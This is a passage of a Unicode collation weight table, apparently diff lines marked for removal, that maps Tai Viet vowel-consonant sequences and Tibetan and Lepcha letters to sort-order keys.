-AAB5 AA9A ; [.2CEC.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW BO>
-AAB6 AA9A ; [.2CEC.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW BO>
-AAB9 AA9A ; [.2CEC.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW BO>
-AABB AA9A ; [.2CEC.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW BO>
-AABC AA9A ; [.2CEC.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW BO>
-AA9B  ; [.2CED.0020.0002] # TAI VIET LETTER HIGH BO
-AAB5 AA9B ; [.2CED.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH BO>
-AAB6 AA9B ; [.2CED.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH BO>
-AAB9 AA9B ; [.2CED.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH BO>
-AABB AA9B ; [.2CED.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH BO>
-AABC AA9B ; [.2CED.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH BO>
-AA9C  ; [.2CEE.0020.0002] # TAI VIET LETTER LOW PO
-AAB5 AA9C ; [.2CEE.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW PO>
-AAB6 AA9C ; [.2CEE.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW PO>
-AAB9 AA9C ; [.2CEE.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW PO>
-AABB AA9C ; [.2CEE.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW PO>
-AABC AA9C ; [.2CEE.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW PO>
-AA9D  ; [.2CEF.0020.0002] # TAI VIET LETTER HIGH PO
-AAB5 AA9D ; [.2CEF.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH PO>
-AAB6 AA9D ; [.2CEF.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH PO>
-AAB9 AA9D ; [.2CEF.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH PO>
-AABB AA9D ; [.2CEF.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH PO>
-AABC AA9D ; [.2CEF.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH PO>
-AA9E  ; [.2CF0.0020.0002] # TAI VIET LETTER LOW PHO
-AAB5 AA9E ; [.2CF0.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW PHO>
-AAB6 AA9E ; [.2CF0.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW PHO>
-AAB9 AA9E ; [.2CF0.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW PHO>
-AABB AA9E ; [.2CF0.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW PHO>
-AABC AA9E ; [.2CF0.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW PHO>
-AA9F  ; [.2CF1.0020.0002] # TAI VIET LETTER HIGH PHO
-AAB5 AA9F ; [.2CF1.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH PHO>
-AAB6 AA9F ; [.2CF1.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH PHO>
-AAB9 AA9F ; [.2CF1.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH PHO>
-AABB AA9F ; [.2CF1.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH PHO>
-AABC AA9F ; [.2CF1.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH PHO>
-AAA0  ; [.2CF2.0020.0002] # TAI VIET LETTER LOW FO
-AAB5 AAA0 ; [.2CF2.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW FO>
-AAB6 AAA0 ; [.2CF2.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW FO>
-AAB9 AAA0 ; [.2CF2.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW FO>
-AABB AAA0 ; [.2CF2.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW FO>
-AABC AAA0 ; [.2CF2.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW FO>
-AAA1  ; [.2CF3.0020.0002] # TAI VIET LETTER HIGH FO
-AAB5 AAA1 ; [.2CF3.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH FO>
-AAB6 AAA1 ; [.2CF3.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH FO>
-AAB9 AAA1 ; [.2CF3.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH FO>
-AABB AAA1 ; [.2CF3.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH FO>
-AABC AAA1 ; [.2CF3.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH FO>
-AAA2  ; [.2CF4.0020.0002] # TAI VIET LETTER LOW MO
-AAB5 AAA2 ; [.2CF4.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW MO>
-AAB6 AAA2 ; [.2CF4.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW MO>
-AAB9 AAA2 ; [.2CF4.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW MO>
-AABB AAA2 ; [.2CF4.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW MO>
-AABC AAA2 ; [.2CF4.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW MO>
-AAA3  ; [.2CF5.0020.0002] # TAI VIET LETTER HIGH MO
-AAB5 AAA3 ; [.2CF5.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH MO>
-AAB6 AAA3 ; [.2CF5.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH MO>
-AAB9 AAA3 ; [.2CF5.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH MO>
-AABB AAA3 ; [.2CF5.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH MO>
-AABC AAA3 ; [.2CF5.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH MO>
-AAA4  ; [.2CF6.0020.0002] # TAI VIET LETTER LOW YO
-AAB5 AAA4 ; [.2CF6.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW YO>
-AAB6 AAA4 ; [.2CF6.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW YO>
-AAB9 AAA4 ; [.2CF6.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW YO>
-AABB AAA4 ; [.2CF6.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW YO>
-AABC AAA4 ; [.2CF6.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW YO>
-AAA5  ; [.2CF7.0020.0002] # TAI VIET LETTER HIGH YO
-AAB5 AAA5 ; [.2CF7.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH YO>
-AAB6 AAA5 ; [.2CF7.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH YO>
-AAB9 AAA5 ; [.2CF7.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH YO>
-AABB AAA5 ; [.2CF7.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH YO>
-AABC AAA5 ; [.2CF7.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH YO>
-AAA6  ; [.2CF8.0020.0002] # TAI VIET LETTER LOW RO
-AAB5 AAA6 ; [.2CF8.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW RO>
-AAB6 AAA6 ; [.2CF8.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW RO>
-AAB9 AAA6 ; [.2CF8.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW RO>
-AABB AAA6 ; [.2CF8.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW RO>
-AABC AAA6 ; [.2CF8.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW RO>
-AAA7  ; [.2CF9.0020.0002] # TAI VIET LETTER HIGH RO
-AAB5 AAA7 ; [.2CF9.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH RO>
-AAB6 AAA7 ; [.2CF9.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH RO>
-AAB9 AAA7 ; [.2CF9.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH RO>
-AABB AAA7 ; [.2CF9.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH RO>
-AABC AAA7 ; [.2CF9.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH RO>
-AAA8  ; [.2CFA.0020.0002] # TAI VIET LETTER LOW LO
-AAB5 AAA8 ; [.2CFA.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW LO>
-AAB6 AAA8 ; [.2CFA.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW LO>
-AAB9 AAA8 ; [.2CFA.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW LO>
-AABB AAA8 ; [.2CFA.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW LO>
-AABC AAA8 ; [.2CFA.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW LO>
-AAA9  ; [.2CFB.0020.0002] # TAI VIET LETTER HIGH LO
-AAB5 AAA9 ; [.2CFB.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH LO>
-AAB6 AAA9 ; [.2CFB.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH LO>
-AAB9 AAA9 ; [.2CFB.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH LO>
-AABB AAA9 ; [.2CFB.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH LO>
-AABC AAA9 ; [.2CFB.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH LO>
-AAAA  ; [.2CFC.0020.0002] # TAI VIET LETTER LOW VO
-AAB5 AAAA ; [.2CFC.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW VO>
-AAB6 AAAA ; [.2CFC.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW VO>
-AAB9 AAAA ; [.2CFC.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW VO>
-AABB AAAA ; [.2CFC.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW VO>
-AABC AAAA ; [.2CFC.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW VO>
-AAAB  ; [.2CFD.0020.0002] # TAI VIET LETTER HIGH VO
-AAB5 AAAB ; [.2CFD.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH VO>
-AAB6 AAAB ; [.2CFD.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH VO>
-AAB9 AAAB ; [.2CFD.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH VO>
-AABB AAAB ; [.2CFD.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH VO>
-AABC AAAB ; [.2CFD.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH VO>
-AAAC  ; [.2CFE.0020.0002] # TAI VIET LETTER LOW HO
-AAB5 AAAC ; [.2CFE.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW HO>
-AAB6 AAAC ; [.2CFE.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW HO>
-AAB9 AAAC ; [.2CFE.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW HO>
-AABB AAAC ; [.2CFE.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW HO>
-AABC AAAC ; [.2CFE.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW HO>
-AAAD  ; [.2CFF.0020.0002] # TAI VIET LETTER HIGH HO
-AAB5 AAAD ; [.2CFF.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH HO>
-AAB6 AAAD ; [.2CFF.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH HO>
-AAB9 AAAD ; [.2CFF.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH HO>
-AABB AAAD ; [.2CFF.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH HO>
-AABC AAAD ; [.2CFF.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH HO>
-AAAE  ; [.2D00.0020.0002] # TAI VIET LETTER LOW O
-AAB5 AAAE ; [.2D00.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW O>
-AAB6 AAAE ; [.2D00.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW O>
-AAB9 AAAE ; [.2D00.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW O>
-AABB AAAE ; [.2D00.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW O>
-AABC AAAE ; [.2D00.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW O>
-AAAF  ; [.2D01.0020.0002] # TAI VIET LETTER HIGH O
-AAB5 AAAF ; [.2D01.0020.0002][.2D07.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH O>
-AAB6 AAAF ; [.2D01.0020.0002][.2D08.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH O>
-AAB9 AAAF ; [.2D01.0020.0002][.2D0B.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH O>
-AABB AAAF ; [.2D01.0020.0002][.2D0D.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH O>
-AABC AAAF ; [.2D01.0020.0002][.2D0E.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH O>
-AAB0  ; [.2D02.0020.0002] # TAI VIET MAI KANG
-AAB1  ; [.2D03.0020.0002] # TAI VIET VOWEL AA
-AAB2  ; [.2D04.0020.0002] # TAI VIET VOWEL I
-AAB3  ; [.2D05.0020.0002] # TAI VIET VOWEL UE
-AAB4  ; [.2D06.0020.0002] # TAI VIET VOWEL U
-AAB5  ; [.2D07.0020.0002] # TAI VIET VOWEL E
-AAB6  ; [.2D08.0020.0002] # TAI VIET VOWEL O
-AAB7  ; [.2D09.0020.0002] # TAI VIET MAI KHIT
-AAB8  ; [.2D0A.0020.0002] # TAI VIET VOWEL IA
-AAB9  ; [.2D0B.0020.0002] # TAI VIET VOWEL UEA
-AABA  ; [.2D0C.0020.0002] # TAI VIET VOWEL UA
-AABB  ; [.2D0D.0020.0002] # TAI VIET VOWEL AUE
-AABC  ; [.2D0E.0020.0002] # TAI VIET VOWEL AY
-AABD  ; [.2D0F.0020.0002] # TAI VIET VOWEL AN
-AABE  ; [.2D10.0020.0002] # TAI VIET VOWEL AM
-AAC0  ; [.2D11.0020.0002] # TAI VIET TONE MAI NUENG
-AAC2  ; [.2D12.0020.0002] # TAI VIET TONE MAI SONG
-AADB  ; [.2D13.0020.0002] # TAI VIET SYMBOL KON
-AADC  ; [.2D14.0020.0002] # TAI VIET SYMBOL NUENG
-0F40  ; [.2D15.0020.0002] # TIBETAN LETTER KA
-0F69  ; [.2D15.0020.0002][.2D56.0020.0002] # TIBETAN LETTER KSSA
-0F90  ; [.2D16.0020.0002] # TIBETAN SUBJOINED LETTER KA
-0FB9  ; [.2D16.0020.0002][.2D56.0020.0002] # TIBETAN SUBJOINED LETTER KSSA
-0F6B  ; [.2D17.0020.0002] # TIBETAN LETTER KKA
-0F41  ; [.2D18.0020.0002] # TIBETAN LETTER KHA
-0F91  ; [.2D19.0020.0002] # TIBETAN SUBJOINED LETTER KHA
-0F42  ; [.2D1A.0020.0002] # TIBETAN LETTER GA
-0F43  ; [.2D1A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER GHA
-0F92  ; [.2D1B.0020.0002] # TIBETAN SUBJOINED LETTER GA
-0F93  ; [.2D1B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER GHA
-0F44  ; [.2D1C.0020.0002] # TIBETAN LETTER NGA
-0F94  ; [.2D1D.0020.0002] # TIBETAN SUBJOINED LETTER NGA
-0F45  ; [.2D1E.0020.0002] # TIBETAN LETTER CA
-0F95  ; [.2D1F.0020.0002] # TIBETAN SUBJOINED LETTER CA
-0F46  ; [.2D20.0020.0002] # TIBETAN LETTER CHA
-0F96  ; [.2D21.0020.0002] # TIBETAN SUBJOINED LETTER CHA
-0F47  ; [.2D22.0020.0002] # TIBETAN LETTER JA
-0F97  ; [.2D23.0020.0002] # TIBETAN SUBJOINED LETTER JA
-0F49  ; [.2D24.0020.0002] # TIBETAN LETTER NYA
-0F99  ; [.2D25.0020.0002] # TIBETAN SUBJOINED LETTER NYA
-0F4A  ; [.2D26.0020.0002] # TIBETAN LETTER TTA
-0F9A  ; [.2D27.0020.0002] # TIBETAN SUBJOINED LETTER TTA
-0F4B  ; [.2D28.0020.0002] # TIBETAN LETTER TTHA
-0F9B  ; [.2D29.0020.0002] # TIBETAN SUBJOINED LETTER TTHA
-0F4C  ; [.2D2A.0020.0002] # TIBETAN LETTER DDA
-0F4D  ; [.2D2A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DDHA
-0F9C  ; [.2D2B.0020.0002] # TIBETAN SUBJOINED LETTER DDA
-0F9D  ; [.2D2B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DDHA
-0F4E  ; [.2D2C.0020.0002] # TIBETAN LETTER NNA
-0F9E  ; [.2D2D.0020.0002] # TIBETAN SUBJOINED LETTER NNA
-0F4F  ; [.2D2E.0020.0002] # TIBETAN LETTER TA
-0F9F  ; [.2D2F.0020.0002] # TIBETAN SUBJOINED LETTER TA
-0F50  ; [.2D30.0020.0002] # TIBETAN LETTER THA
-0FA0  ; [.2D31.0020.0002] # TIBETAN SUBJOINED LETTER THA
-0F51  ; [.2D32.0020.0002] # TIBETAN LETTER DA
-0F52  ; [.2D32.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DHA
-0FA1  ; [.2D33.0020.0002] # TIBETAN SUBJOINED LETTER DA
-0FA2  ; [.2D33.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DHA
-0F53  ; [.2D34.0020.0002] # TIBETAN LETTER NA
-0FA3  ; [.2D35.0020.0002] # TIBETAN SUBJOINED LETTER NA
-0F54  ; [.2D36.0020.0002] # TIBETAN LETTER PA
-0FA4  ; [.2D37.0020.0002] # TIBETAN SUBJOINED LETTER PA
-0F55  ; [.2D38.0020.0002] # TIBETAN LETTER PHA
-0FA5  ; [.2D39.0020.0002] # TIBETAN SUBJOINED LETTER PHA
-0F56  ; [.2D3A.0020.0002] # TIBETAN LETTER BA
-0F57  ; [.2D3A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER BHA
-0FA6  ; [.2D3B.0020.0002] # TIBETAN SUBJOINED LETTER BA
-0FA7  ; [.2D3B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER BHA
-0F58  ; [.2D3C.0020.0002] # TIBETAN LETTER MA
-0FA8  ; [.2D3D.0020.0002] # TIBETAN SUBJOINED LETTER MA
-0F59  ; [.2D3E.0020.0002] # TIBETAN LETTER TSA
-0FA9  ; [.2D3F.0020.0002] # TIBETAN SUBJOINED LETTER TSA
-0F5A  ; [.2D40.0020.0002] # TIBETAN LETTER TSHA
-0FAA  ; [.2D41.0020.0002] # TIBETAN SUBJOINED LETTER TSHA
-0F5B  ; [.2D42.0020.0002] # TIBETAN LETTER DZA
-0F5C  ; [.2D42.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DZHA
-0FAB  ; [.2D43.0020.0002] # TIBETAN SUBJOINED LETTER DZA
-0FAC  ; [.2D43.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DZHA
-0F5D  ; [.2D44.0020.0002] # TIBETAN LETTER WA
-0FAD  ; [.2D45.0020.0002] # TIBETAN SUBJOINED LETTER WA
-0FBA  ; [.2D45.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM WA
-0F5E  ; [.2D46.0020.0002] # TIBETAN LETTER ZHA
-0FAE  ; [.2D47.0020.0002] # TIBETAN SUBJOINED LETTER ZHA
-0F5F  ; [.2D48.0020.0002] # TIBETAN LETTER ZA
-0FAF  ; [.2D49.0020.0002] # TIBETAN SUBJOINED LETTER ZA
-0F60  ; [.2D4A.0020.0002] # TIBETAN LETTER -A
-0FB0  ; [.2D4B.0020.0002] # TIBETAN SUBJOINED LETTER -A
-0F61  ; [.2D4C.0020.0002] # TIBETAN LETTER YA
-0FB1  ; [.2D4D.0020.0002] # TIBETAN SUBJOINED LETTER YA
-0FBB  ; [.2D4D.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM YA
-0F62  ; [.2D4E.0020.0002] # TIBETAN LETTER RA
-0F6A  ; [.2D4E.0020.0004][.0000.010C.0004] # TIBETAN LETTER FIXED-FORM RA
-0FB2  ; [.2D4F.0020.0002] # TIBETAN SUBJOINED LETTER RA
-0FBC  ; [.2D4F.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM RA
-0F6C  ; [.2D50.0020.0002] # TIBETAN LETTER RRA
-0F63  ; [.2D51.0020.0002] # TIBETAN LETTER LA
-0FB3  ; [.2D52.0020.0002] # TIBETAN SUBJOINED LETTER LA
-0F64  ; [.2D53.0020.0002] # TIBETAN LETTER SHA
-0FB4  ; [.2D54.0020.0002] # TIBETAN SUBJOINED LETTER SHA
-0F65  ; [.2D55.0020.0002] # TIBETAN LETTER SSA
-0FB5  ; [.2D56.0020.0002] # TIBETAN SUBJOINED LETTER SSA
-0F66  ; [.2D57.0020.0002] # TIBETAN LETTER SA
-0FB6  ; [.2D58.0020.0002] # TIBETAN SUBJOINED LETTER SA
-0F67  ; [.2D59.0020.0002] # TIBETAN LETTER HA
-0FB7  ; [.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER HA
-0F68  ; [.2D5B.0020.0002] # TIBETAN LETTER A
-0F00  ; [.2D5B.0020.0004][.2D72.0020.0004][.0000.00BF.0004] # TIBETAN SYLLABLE OM
-0FB8  ; [.2D5C.0020.0002] # TIBETAN SUBJOINED LETTER A
-0F88  ; [.2D5D.0020.0002] # TIBETAN SIGN LCE TSA CAN
-0F8D  ; [.2D5E.0020.0002] # TIBETAN SUBJOINED SIGN LCE TSA CAN
-0F89  ; [.2D5F.0020.0002] # TIBETAN SIGN MCHU CAN
-0F8E  ; [.2D60.0020.0002] # TIBETAN SUBJOINED SIGN MCHU CAN
-0F8C  ; [.2D61.0020.0002] # TIBETAN SIGN INVERTED MCHU CAN
-0F8F  ; [.2D62.0020.0002] # TIBETAN SUBJOINED SIGN INVERTED MCHU CAN
-0F8A  ; [.2D63.0020.0002] # TIBETAN SIGN GRU CAN RGYINGS
-0F8B  ; [.2D64.0020.0002] # TIBETAN SIGN GRU MED RGYINGS
-0F71  ; [.2D65.0020.0002] # TIBETAN VOWEL SIGN AA
-0F72  ; [.2D66.0020.0002] # TIBETAN VOWEL SIGN I
-0F73  ; [.2D67.0020.0002] # TIBETAN VOWEL SIGN II
-0F71 0F72 ; [.2D67.0020.0002] # TIBETAN VOWEL SIGN II
-0F80  ; [.2D68.0020.0002] # TIBETAN VOWEL SIGN REVERSED I
-0F81  ; [.2D69.0020.0002] # TIBETAN VOWEL SIGN REVERSED II
-0F71 0F80 ; [.2D69.0020.0002] # TIBETAN VOWEL SIGN REVERSED II
-0F74  ; [.2D6A.0020.0002] # TIBETAN VOWEL SIGN U
-0F75  ; [.2D6B.0020.0002] # TIBETAN VOWEL SIGN UU
-0F71 0F74 ; [.2D6B.0020.0002] # TIBETAN VOWEL SIGN UU
-0F76  ; [.2D6C.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R
-0FB2 0F80 ; [.2D6C.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R
-0F77  ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
-0FB2 0F71 0F80 ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
-0FB2 0F81 ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
-0F78  ; [.2D6E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L
-0FB3 0F80 ; [.2D6E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L
-0F79  ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
-0FB3 0F71 0F80 ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
-0FB3 0F81 ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
-0F7A  ; [.2D70.0020.0002] # TIBETAN VOWEL SIGN E
-0F7B  ; [.2D71.0020.0002] # TIBETAN VOWEL SIGN EE
-0F7C  ; [.2D72.0020.0002] # TIBETAN VOWEL SIGN O
-0F7D  ; [.2D73.0020.0002] # TIBETAN VOWEL SIGN OO
-0F84  ; [.2D74.0020.0002] # TIBETAN MARK HALANTA
-1C00  ; [.2D75.0020.0002] # LEPCHA LETTER KA
-1C01  ; [.2D76.0020.0002] # LEPCHA LETTER KLA
-1C02  ; [.2D77.0020.0002] # LEPCHA LETTER KHA
-1C03  ; [.2D78.0020.0002] # LEPCHA LETTER GA
-1C04  ; [.2D79.0020.0002] # LEPCHA LETTER GLA
-1C05  ; [.2D7A.0020.0002] # LEPCHA LETTER NGA
-1C06  ; [.2D7B.0020.0002] # LEPCHA LETTER CA
-1C07  ; [.2D7C.0020.0002] # LEPCHA LETTER CHA
-1C08  ; [.2D7D.0020.0002] # LEPCHA LETTER JA
-1C09  ; [.2D7E.0020.0002] # LEPCHA LETTER NYA
-1C4D  ; [.2D7F.0020.0002] # LEPCHA LETTER TTA
-1C4E  ; [.2D80.0020.0002] # LEPCHA LETTER TTHA
-1C4F  ; [.2D81.0020.0002] # LEPCHA LETTER DDA
-1C0A  ; [.2D82.0020.0002] # LEPCHA LETTER TA
-1C0B  ; [.2D83.0020.0002] # LEPCHA LETTER THA
-1C0C  ; [.2D84.0020.0002] # LEPCHA LETTER DA
-1C0D  ; [.2D85.0020.0002] # LEPCHA LETTER NA
-1C0E  ; [.2D86.0020.0002] # LEPCHA LETTER PA
-1C0F  ; [.2D87.0020.0002] # LEPCHA LETTER PLA
-1C10  ; [.2D88.0020.0002] # LEPCHA LETTER PHA
-1C11  ; [.2D89.0020.0002] # LEPCHA LETTER FA
-1C12  ; [.2D8A.0020.0002] # LEPCHA LETTER FLA
-1C13  ; [.2D8B.0020.0002] # LEPCHA LETTER BA
